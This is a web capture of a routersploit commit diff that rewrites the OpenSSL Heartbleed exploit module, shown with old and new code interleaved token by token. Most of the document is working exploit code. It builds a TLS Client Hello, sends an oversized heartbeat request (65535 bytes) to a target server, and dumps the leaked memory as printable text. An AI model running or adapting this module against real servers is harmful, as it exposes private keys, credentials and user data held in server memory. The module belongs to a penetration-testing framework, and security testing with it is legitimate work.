Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
db145aaf
Unverified
Commit
db145aaf
authored
May 10, 2018
by
Marcin Bury
Committed by
GitHub
May 10, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
OpenSSL Heartbleed module (#409)
* Init heartbleed fixes * Improving description * Adding certificate parsing
parent
a0d7e4ca
Show whitespace changes
Inline
Side-by-side
Showing
3 changed files
with
331 additions
and
158 deletions
+331
-158
option.py
routersploit/core/exploit/option.py
+3
-0
tcp_client.py
routersploit/core/tcp/tcp_client.py
+11
-6
heartbleed.py
routersploit/modules/exploits/generic/heartbleed.py
+317
-152
No files found.
routersploit/core/exploit/option.py
View file @
db145aaf
...
@@ -55,6 +55,9 @@ class OptPort(Option):
...
@@ -55,6 +55,9 @@ class OptPort(Option):
except
ValueError
:
except
ValueError
:
raise
OptionValidationError
(
"Invalid option. Cannot cast '{}' to integer."
.
format
(
value
))
raise
OptionValidationError
(
"Invalid option. Cannot cast '{}' to integer."
.
format
(
value
))
def
__get__
(
self
,
instance
,
owner
):
return
int
(
self
.
value
)
class
OptBool
(
Option
):
class
OptBool
(
Option
):
""" Option Bool attribute """
""" Option Bool attribute """
...
...
routersploit/core/tcp/tcp_client.py
View file @
db145aaf
...
@@ -36,8 +36,9 @@ class TCPClient(Exploit):
...
@@ -36,8 +36,9 @@ class TCPClient(Exploit):
print_status
(
"Connection established"
)
print_status
(
"Connection established"
)
return
tcp_client
return
tcp_client
except
Exception
:
except
Exception
as
err
:
print_error
(
"Could not connect"
)
print_error
(
"Could not connect"
)
print_error
(
err
)
return
None
return
None
...
@@ -45,18 +46,22 @@ class TCPClient(Exploit):
...
@@ -45,18 +46,22 @@ class TCPClient(Exploit):
if
tcp_client
:
if
tcp_client
:
if
type
(
data
)
is
bytes
:
if
type
(
data
)
is
bytes
:
return
tcp_client
.
send
(
data
)
return
tcp_client
.
send
(
data
)
elif
type
(
data
)
is
str
:
return
tcp_client
.
send
(
bytes
(
data
,
"utf-8"
))
else
:
else
:
print_error
(
"Data to send is not type of bytes
or string
"
)
print_error
(
"Data to send is not type of bytes"
)
return
None
return
None
def
tcp_recv
(
self
,
tcp_client
,
num
):
def
tcp_recv
(
self
,
tcp_client
,
num
):
if
tcp_client
:
if
tcp_client
:
try
:
try
:
response
=
tcp_client
.
recv
(
num
)
response
=
b
""
return
str
(
response
,
"utf-8"
)
received
=
0
while
received
<
num
:
tmp
=
tcp_client
.
recv
(
num
-
received
)
received
+=
len
(
tmp
)
response
+=
tmp
return
response
except
socket
.
timeout
:
except
socket
.
timeout
:
print_error
(
"Socket did timeout"
)
print_error
(
"Socket did timeout"
)
...
...
routersploit/modules/exploits/generic/heartbleed.py
View file @
db145aaf
import
re
import
binascii
import
binascii
import
select
from
time
import
time
import
socket
from
struct
import
pack
,
unpack
import
struct
from
cryptography
import
x509
import
time
from
cryptography.hazmat.backends
import
default_backend
from
routersploit.core.exploit
import
*
from
routersploit.core.exploit
import
*
from
routersploit.core.exploit.exploit
import
Protocol
from
routersploit.core.tcp.tcp_client
import
TCPClient
from
routersploit.core.tcp.tcp_client
import
TCPClient
from
future.builtins
import
range
class
Exploit
(
TCPClient
):
class
Exploit
(
TCPClient
):
__info__
=
{
__info__
=
{
'name'
:
'Heartbleed'
,
"name"
:
"OpenSSL Heartbleed"
,
'description'
:
'Exploits Hearbleed vulnerability.'
,
"description"
:
"Exploits OpenSSL Heartbleed vulnerability. Vulnerability exists in the handling of heartbeat requests,"
'authors'
:
[
" where fake length can be used to leak memory data in the response. This module is heavily based on "
'Jared Stafford <jspenguin[at]jspenguin.org>'
,
# proof of concept python exploit
" Metasploit module."
,
'Marcin Bury <marcin[at]threat9.com>'
,
# routersploit module
"authors"
:
(
],
"Neel Mehta"
,
# vulnerability discovery
'references'
:
[
"Riku"
,
# vulnerability discovery
'http://www.cvedetails.com/cve/2014-0160'
,
"Antti"
,
# vulnerability discovery
'http://heartbleed.com/'
,
"Matti"
,
# vulnerability discovery
'https://www.us-cert.gov/ncas/alerts/TA14-098A'
,
"Jared Stafford <jspenguin[at]jspenguin.org>"
,
# Original Proof of Concept. This module is based on it.
'https://gist.github.com/takeshixx/10107280'
,
"FiloSottile"
,
# PoC site and tool
],
"Christian Mehlmauer"
,
# metasploit module
'devices'
:
[
"wvu"
,
# metasploit module
'Multi'
,
"juan vazquez"
,
# metasploit module
],
"Sebastiano Di Paola"
,
# metasploit module
"Tom Sellers"
,
# metasploit module
"jjarmoc"
,
# metasploit module; keydump, refactoring..
"Ben Buchanan"
,
# metasploit module
"herself"
,
# metasploit module
"Marcin Bury <marcin[at]threat9.com>"
,
# routersploit module
),
"references"
:
(
"http://www.cvedetails.com/cve/2014-0160"
,
"http://heartbleed.com/"
,
"https://www.us-cert.gov/ncas/alerts/TA14-098A"
,
"https://gist.github.com/takeshixx/10107280"
,
"https://github.com/FiloSottile/Heartbleed"
,
"http://filippo.io/Heartbleed/"
,
),
"devices"
:
(
"Multi"
,
),
}
}
target_protocol
=
Protocol
.
HTTP
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
target
=
OptIP
(
""
,
"Target IPv4 or IPv6 address"
)
port
=
OptPort
(
443
,
"Target HTTP port"
)
port
=
OptPort
(
443
,
"Target HTTP port"
)
ssl
=
OptBool
(
"SSL enabled: true/false"
)
def
__init__
(
self
):
tls_version
=
OptString
(
"1.0"
,
"TLS/SSL version to use: SSLv3, 1.0, 1.1, 1.2"
)
self
.
hello
=
'''
heartbeat_length
=
OptInteger
(
65535
,
"Heartbeat length"
)
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
'''
self
.
hb
=
'''
18 03 02 00 03
01 40 00
'''
def
h2bin
(
self
,
x
):
return
binascii
.
unhexlify
(
x
.
replace
(
' '
,
''
)
.
replace
(
'
\n
'
,
''
))
def
hexdump
(
self
,
s
):
for
b
in
range
(
0
,
len
(
s
),
16
):
lin
=
[
c
for
c
in
s
[
b
:
b
+
16
]]
hxdat
=
' '
.
join
(
'
%02
X'
%
ord
(
c
)
for
c
in
lin
)
pdat
=
''
.
join
((
c
if
32
<=
ord
(
c
)
<=
126
else
'.'
)
for
c
in
lin
)
print_info
(
'
%04
x:
%-48
s
%
s'
%
(
b
,
hxdat
,
pdat
))
print_info
()
def
recvall
(
self
,
s
,
length
,
timeout
=
5
):
endtime
=
time
.
time
()
+
timeout
rdata
=
''
remain
=
length
while
remain
>
0
:
rtime
=
endtime
-
time
.
time
()
if
rtime
<
0
:
return
None
r
,
w
,
e
=
select
.
select
([
s
],
[],
[],
5
)
if
s
in
r
:
try
:
data
=
s
.
recv
(
remain
)
except
socket
.
error
:
return
None
if
not
data
:
CIPHER_SUITS
=
(
return
None
0xc014
,
# TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0xc00a
,
# TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0xc022
,
# TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
0xc021
,
# TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
0x0039
,
# TLS_DHE_RSA_WITH_AES_256_CBC_SHA
0x0038
,
# TLS_DHE_DSS_WITH_AES_256_CBC_SHA
0x0088
,
# TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
0x0087
,
# TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
0x0087
,
# TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
0xc00f
,
# TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
0x0035
,
# TLS_RSA_WITH_AES_256_CBC_SHA
0x0084
,
# TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
0xc012
,
# TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
0xc008
,
# TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
0xc01c
,
# TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
0xc01b
,
# TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
0x0016
,
# TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
0x0013
,
# TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0xc00d
,
# TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0xc003
,
# TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
0x000a
,
# TLS_RSA_WITH_3DES_EDE_CBC_SHA
0xc013
,
# TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
0xc009
,
# TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0xc01f
,
# TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
0xc01e
,
# TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
0x0033
,
# TLS_DHE_RSA_WITH_AES_128_CBC_SHA
0x0032
,
# TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0x009a
,
# TLS_DHE_RSA_WITH_SEED_CBC_SHA
0x0099
,
# TLS_DHE_DSS_WITH_SEED_CBC_SHA
0x0045
,
# TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
0x0044
,
# TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
0xc00e
,
# TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
0xc004
,
# TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0x002f
,
# TLS_RSA_WITH_AES_128_CBC_SHA
0x0096
,
# TLS_RSA_WITH_SEED_CBC_SHA
0x0041
,
# TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
0xc011
,
# TLS_ECDHE_RSA_WITH_RC4_128_SHA
0xc007
,
# TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
0xc00c
,
# TLS_ECDH_RSA_WITH_RC4_128_SHA
0xc002
,
# TLS_ECDH_ECDSA_WITH_RC4_128_SHA
0x0005
,
# TLS_RSA_WITH_RC4_128_SHA
0x0004
,
# TLS_RSA_WITH_RC4_128_MD5
0x0015
,
# TLS_DHE_RSA_WITH_DES_CBC_SHA
0x0012
,
# TLS_DHE_DSS_WITH_DES_CBC_SHA
0x0009
,
# TLS_RSA_WITH_DES_CBC_SHA
0x0014
,
# TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0011
,
# TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
0x0008
,
# TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
0x0006
,
# TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
0x0003
,
# TLS_RSA_EXPORT_WITH_RC4_40_MD5
0x00ff
# Unknown
)
rdata
+=
data
SSL_RECORD_HEADER_SIZE
=
0x05
remain
-=
len
(
data
)
HANDSHAKE_RECORD_TYPE
=
0x16
return
rdata
HEARTBEAT_RECORD_TYPE
=
0x18
ALERT_RECORD_TYPE
=
0x15
def
recvmsg
(
self
,
s
):
HANDSHAKE_SERVER_HELLO_TYPE
=
0x02
hdr
=
self
.
recvall
(
s
,
5
)
HANDSHAKE_CERTIFICATE_TYPE
=
0x0b
if
hdr
is
None
:
HANDSHAKE_KEY_EXCHANGE_TYPE
=
0x0c
# Unexpected EOF receiving record header - server closed connection
HANDSHAKE_SERVER_HELLO_DONE_TYPE
=
0x0e
return
None
,
None
,
None
typ
,
ver
,
ln
=
struct
.
unpack
(
'>BHH'
,
hdr
)
pay
=
self
.
recvall
(
s
,
ln
,
10
)
if
pay
is
None
:
# Unexpected EOF receiving record payload - server closed connection
return
None
,
None
,
None
# ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
return
typ
,
ver
,
pay
def
hit_hb
(
self
,
s
):
while
True
:
typ
,
ver
,
pay
=
self
.
recvmsg
(
s
)
if
typ
is
None
:
print_error
(
"No heartbeat response received, server likely not vulnerable"
)
return
False
if
typ
==
24
:
TLS_VERSION
=
{
print_status
(
"Received heartbeat response"
)
"SSLv3"
:
0x0300
,
self
.
hexdump
(
pay
)
"1.0"
:
0x0301
,
if
len
(
pay
)
>
3
:
"1.1"
:
0x0302
,
print_success
(
"WARNING: server returned more data than it should - server is vulnerable!"
)
"1.2"
:
0x0303
else
:
}
print_error
(
"Server processed malformed heartbeat, but did not return any extra data."
)
return
def
__init__
(
self
):
self
.
tcp_client
=
None
self
.
leak
=
None
if
typ
==
21
:
self
.
printable
=
"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!
\"
#$
%
&
\'
()*+,-./:;<=>?@[
\\
]^_`{|}~"
print_error
(
"Server returned error, likely not vulnerable"
)
self
.
white_chars
=
"
\t\n\r\x0b\x0c
"
print_error
(
"Exploit failed"
)
return
def
run
(
self
):
def
run
(
self
):
try
:
self
.
leak
=
self
.
bleed
()
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
if
self
.
leak
:
s
.
connect
((
self
.
target
,
int
(
self
.
port
)))
data
=
""
s
.
send
(
self
.
h2bin
(
self
.
hello
))
for
l
in
self
.
leak
:
except
:
char
=
chr
(
l
)
print_error
(
"Connection failed: {}:{}"
.
format
(
self
.
target
,
self
.
port
))
if
char
in
self
.
white_chars
:
return
data
+=
" "
elif
char
not
in
self
.
printable
:
while
True
:
data
+=
"."
typ
,
ver
,
pay
=
self
.
recvmsg
(
s
)
else
:
if
typ
is
None
:
data
+=
char
print_error
(
"Server closed connection without sending Server Hello."
)
print_error
(
"Exploit failed"
)
clean_data
=
""
return
tmp_b
=
0
for
item
in
re
.
finditer
(
r"(\.){400,}"
,
data
):
# Look for server hello done message.
a
,
b
=
item
.
span
()
if
typ
==
22
and
ord
(
pay
[
0
])
==
0x0E
:
clean_data
+=
data
[
tmp_b
:
a
]
break
tmp_b
=
b
clean_data
+=
"................................ repeated {} times ................................"
.
format
(
b
-
a
-
64
)
print_status
(
"Sending heartbeat request"
)
clean_data
+=
data
[
b
:]
s
.
send
(
self
.
h2bin
(
self
.
hb
))
print_info
(
clean_data
)
self
.
hit_hb
(
s
)
else
:
print_error
(
"Exploit failed - Target does not seem to be vulnerable"
)
@mute
@mute
def
check
(
self
):
def
check
(
self
):
try
:
if
self
.
bleed
():
s
=
socket
.
socket
(
socket
.
AF_INET
,
socket
.
SOCK_STREAM
)
return
True
s
.
connect
((
self
.
target
,
int
(
self
.
port
)))
s
.
send
(
self
.
h2bin
(
self
.
hello
))
return
False
except
socket
.
error
:
return
False
# target is not vulnerable
def
bleed
(
self
):
self
.
establish_connect
()
while
True
:
typ
,
ver
,
pay
=
self
.
recvmsg
(
s
)
print_status
(
"Sending Heartbeat..."
)
if
typ
is
None
:
heartbeat_req
=
self
.
heartbeat_request
(
self
.
heartbeat_length
)
return
False
# target is not vulnerable
self
.
tcp_send
(
self
.
tcp_client
,
heartbeat_req
)
hdr
=
self
.
tcp_recv
(
self
.
tcp_client
,
self
.
SSL_RECORD_HEADER_SIZE
)
if
typ
==
22
and
ord
(
pay
[
0
])
==
0x0E
:
if
not
hdr
:
print_error
(
"No Heartbeat response..."
)
return
False
record_type
,
version
,
length
=
unpack
(
">BHH"
,
hdr
)
if
record_type
!=
self
.
HEARTBEAT_RECORD_TYPE
or
version
!=
self
.
TLS_VERSION
[
self
.
tls_version
]:
print_error
(
"Unexpected Hearbeat response header"
)
self
.
tcp_close
(
self
.
tcp_client
)
heartbeat_data
=
self
.
tcp_recv
(
self
.
tcp_client
,
self
.
heartbeat_length
)
print_success
(
"Heartbeat response, {} bytes"
.
format
(
len
(
heartbeat_data
)))
self
.
tcp_close
(
self
.
tcp_client
)
return
heartbeat_data
def
establish_connect
(
self
):
self
.
tcp_client
=
self
.
tcp_connect
()
print_status
(
"Sending Client Hello..."
)
data
=
self
.
client_hello
()
self
.
tcp_send
(
self
.
tcp_client
,
data
)
server_response
=
self
.
get_server_hello
()
if
not
server_response
:
print_error
(
"Server Hello not found"
)
return
server_response
def
get_server_hello
(
self
):
server_done
=
False
ssl_record_counter
=
0
remaining_data
=
self
.
get_ssl_record
()
while
remaining_data
and
len
(
remaining_data
)
>
0
:
ssl_record_counter
+=
1
ssl_type
,
ssl_version
,
ssl_len
=
unpack
(
">BHH"
,
remaining_data
[:
5
])
print_status
(
"SSL record {}"
.
format
(
ssl_record_counter
))
print_status
(
"
\t
Type: {}"
.
format
(
ssl_type
))
print_status
(
"
\t
Version: 0x{:x}"
.
format
(
ssl_version
))
print_status
(
"
\t
Length: {}"
.
format
(
ssl_len
))
if
ssl_type
!=
self
.
HANDSHAKE_RECORD_TYPE
:
print_status
(
"
\t
Wrong Record Type"
)
else
:
ssl_data
=
remaining_data
[
5
:
5
+
ssl_len
]
handshakes
=
self
.
parse_handshakes
(
ssl_data
)
# Stop once we receive SERVER_HELLO_DONE
if
handshakes
and
handshakes
[
-
1
][
"type"
]
==
self
.
HANDSHAKE_SERVER_HELLO_DONE_TYPE
:
server_done
=
True
break
break
s
.
send
(
self
.
h2bin
(
self
.
hb
))
remaining_data
=
self
.
get_ssl_record
()
return
server_done
def
parse_handshakes
(
self
,
data
):
remaining_data
=
data
handshakes
=
[]
handshake_count
=
0
while
True
:
while
remaining_data
and
len
(
remaining_data
)
>
0
:
typ
,
ver
,
pay
=
self
.
recvmsg
(
s
)
hs_type
,
hs_len_pad
,
hs_len
=
unpack
(
">BBH"
,
remaining_data
[:
4
])
if
typ
is
None
:
hs_data
=
remaining_data
[
4
:
4
+
hs_len
]
return
False
# target is not vulnerable
handshake_count
+=
1
print_status
(
"
\t
Handshake {}"
.
format
(
handshake_count
))
print_status
(
"
\t\t
Length: {}"
.
format
(
hs_len
))
if
typ
==
24
:
handshake_parsed
=
None
if
len
(
pay
)
>
3
:
if
hs_type
==
self
.
HANDSHAKE_SERVER_HELLO_TYPE
:
return
True
# target is vulnerable
print_status
(
"
\t\t
Type: Server Hello ({})"
.
format
(
hs_type
))
handshake_parsed
=
self
.
parse_server_hello
(
hs_data
)
elif
hs_type
==
self
.
HANDSHAKE_CERTIFICATE_TYPE
:
print_status
(
"
\t\t
Type: Certificate Data ({})"
.
format
(
hs_type
))
handshake_parsed
=
self
.
parse_certificate_data
(
hs_data
)
elif
hs_type
==
self
.
HANDSHAKE_KEY_EXCHANGE_TYPE
:
print_status
(
"
\t\t
Type: Server Key Exchange ({})"
.
format
(
hs_type
))
elif
hs_type
==
self
.
HANDSHAKE_SERVER_HELLO_DONE_TYPE
:
print_status
(
"
\t\t
Type: Server Hello Done ({})"
.
format
(
hs_type
))
else
:
else
:
return
False
# target is not vulnerable
print_status
(
"
\t\t
Type: Handshake type {} not implement"
.
format
(
hs_type
))
handshakes
.
append
({
"type"
:
hs_type
,
"len"
:
hs_len
,
"data"
:
handshake_parsed
})
remaining_data
=
remaining_data
[
4
+
hs_len
:]
return
handshakes
def
parse_server_hello
(
self
,
data
):
version
=
unpack
(
">H"
,
data
[:
2
])[
0
]
print_status
(
"
\t\t
Server Hello Version: 0x{:x}"
.
format
(
version
))
random
=
unpack
(
">"
+
"B"
*
32
,
data
[
2
:
34
])
random_hex
=
str
(
binascii
.
hexlify
(
bytes
(
random
)),
"utf-8"
)
print_status
(
"
\t\t
Server Hello random data: {}"
.
format
(
random_hex
))
session_id_length
=
unpack
(
">B"
,
data
[
34
:
35
])[
0
]
print_status
(
"
\t\t
Server Hello Session ID length: {}"
.
format
(
session_id_length
))
session_id
=
unpack
(
">"
+
"B"
*
session_id_length
,
data
[
35
:
35
+
session_id_length
])
session_id_hex
=
str
(
binascii
.
hexlify
(
bytes
(
session_id
)),
"utf-8"
)
print_status
(
"
\t\t
Server Hello session id: {}"
.
format
(
session_id_hex
))
def
parse_certificate_data
(
self
,
data
):
cert_len_padding
,
cert_len
=
unpack
(
">BH"
,
data
[:
3
])
print_status
(
"
\t\t
Certificates length: {}"
.
format
(
cert_len
))
print_status
(
"
\t\t
Data length: {}"
.
format
(
len
(
data
)))
#contains multiple certs
already_read
=
3
cert_counter
=
0
while
already_read
<
cert_len
:
cert_counter
+=
1
# get single certificate length
single_cert_len_padding
,
single_cert_len
=
unpack
(
">BH"
,
data
[
already_read
:
already_read
+
3
])
print_status
(
"
\t\t
Certificate {}"
.
format
(
cert_counter
))
print_status
(
"
\t\t\t
Certificate {}: Length: {}"
.
format
(
cert_counter
,
single_cert_len
))
certificate_data
=
data
[(
already_read
+
3
):
(
already_read
+
3
+
single_cert_len
)]
cert
=
x509
.
load_der_x509_certificate
(
certificate_data
,
default_backend
())
print_status
(
"
\t\t\t
Certificate {}: {}"
.
format
(
cert_counter
,
cert
))
already_read
=
already_read
+
single_cert_len
+
3
def
get_ssl_record
(
self
):
hdr
=
self
.
tcp_recv
(
self
.
tcp_client
,
self
.
SSL_RECORD_HEADER_SIZE
)
if
hdr
:
length
=
unpack
(
">BHH"
,
hdr
)[
2
]
data
=
self
.
tcp_recv
(
self
.
tcp_client
,
length
)
hdr
+=
data
return
hdr
return
None
def
client_hello
(
self
):
# user current time for TLS time
time_epoch
=
int
(
time
())
cipher_suits_len
=
len
(
self
.
CIPHER_SUITS
)
hello_data
=
pack
(
">H"
,
self
.
TLS_VERSION
[
self
.
tls_version
])
# Version TLS
hello_data
+=
pack
(
">L"
,
time_epoch
)
# Time in epoch format
hello_data
+=
bytes
(
utils
.
random_text
(
28
),
"utf-8"
)
# Random
hello_data
+=
b
"
\x00
"
# Session ID length
hello_data
+=
pack
(
">H"
,
cipher_suits_len
*
2
)
# Cipher Suits Length (102)
hello_data
+=
pack
(
">"
+
"H"
*
cipher_suits_len
,
*
self
.
CIPHER_SUITS
)
# Cipher Suites
hello_data
+=
b
"
\x01
"
# Compression methods length (1)
hello_data
+=
b
"
\x00
"
# Compression methods: null
hello_data_extensions
=
b
"
\x00\x0f
"
# Extension type (Heartbeat)
hello_data_extensions
+=
b
"
\x00\x01
"
# Extension length
hello_data_extensions
+=
b
"
\x01
"
# Extension data
hello_data
+=
pack
(
">H"
,
len
(
hello_data_extensions
))
hello_data
+=
hello_data_extensions
data
=
b
"
\x01\x00
"
# Handshake Type: Client Hello (1)
data
+=
pack
(
">H"
,
len
(
hello_data
))
# Length
data
+=
hello_data
return
self
.
ssl_record
(
self
.
HANDSHAKE_RECORD_TYPE
,
data
)
def
heartbeat_request
(
self
,
length
):
payload
=
b
"
\x01
"
# Heartbeat Message Type: Request (1)
payload
+=
pack
(
">H"
,
length
)
return
self
.
ssl_record
(
self
.
HEARTBEAT_RECORD_TYPE
,
payload
)
if
typ
==
21
:
def
ssl_record
(
self
,
record_type
,
data
):
return
False
# target is not vulnerable
record
=
pack
(
">BHH"
,
record_type
,
self
.
TLS_VERSION
[
self
.
tls_version
],
len
(
data
))
record
+=
data
return
record
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment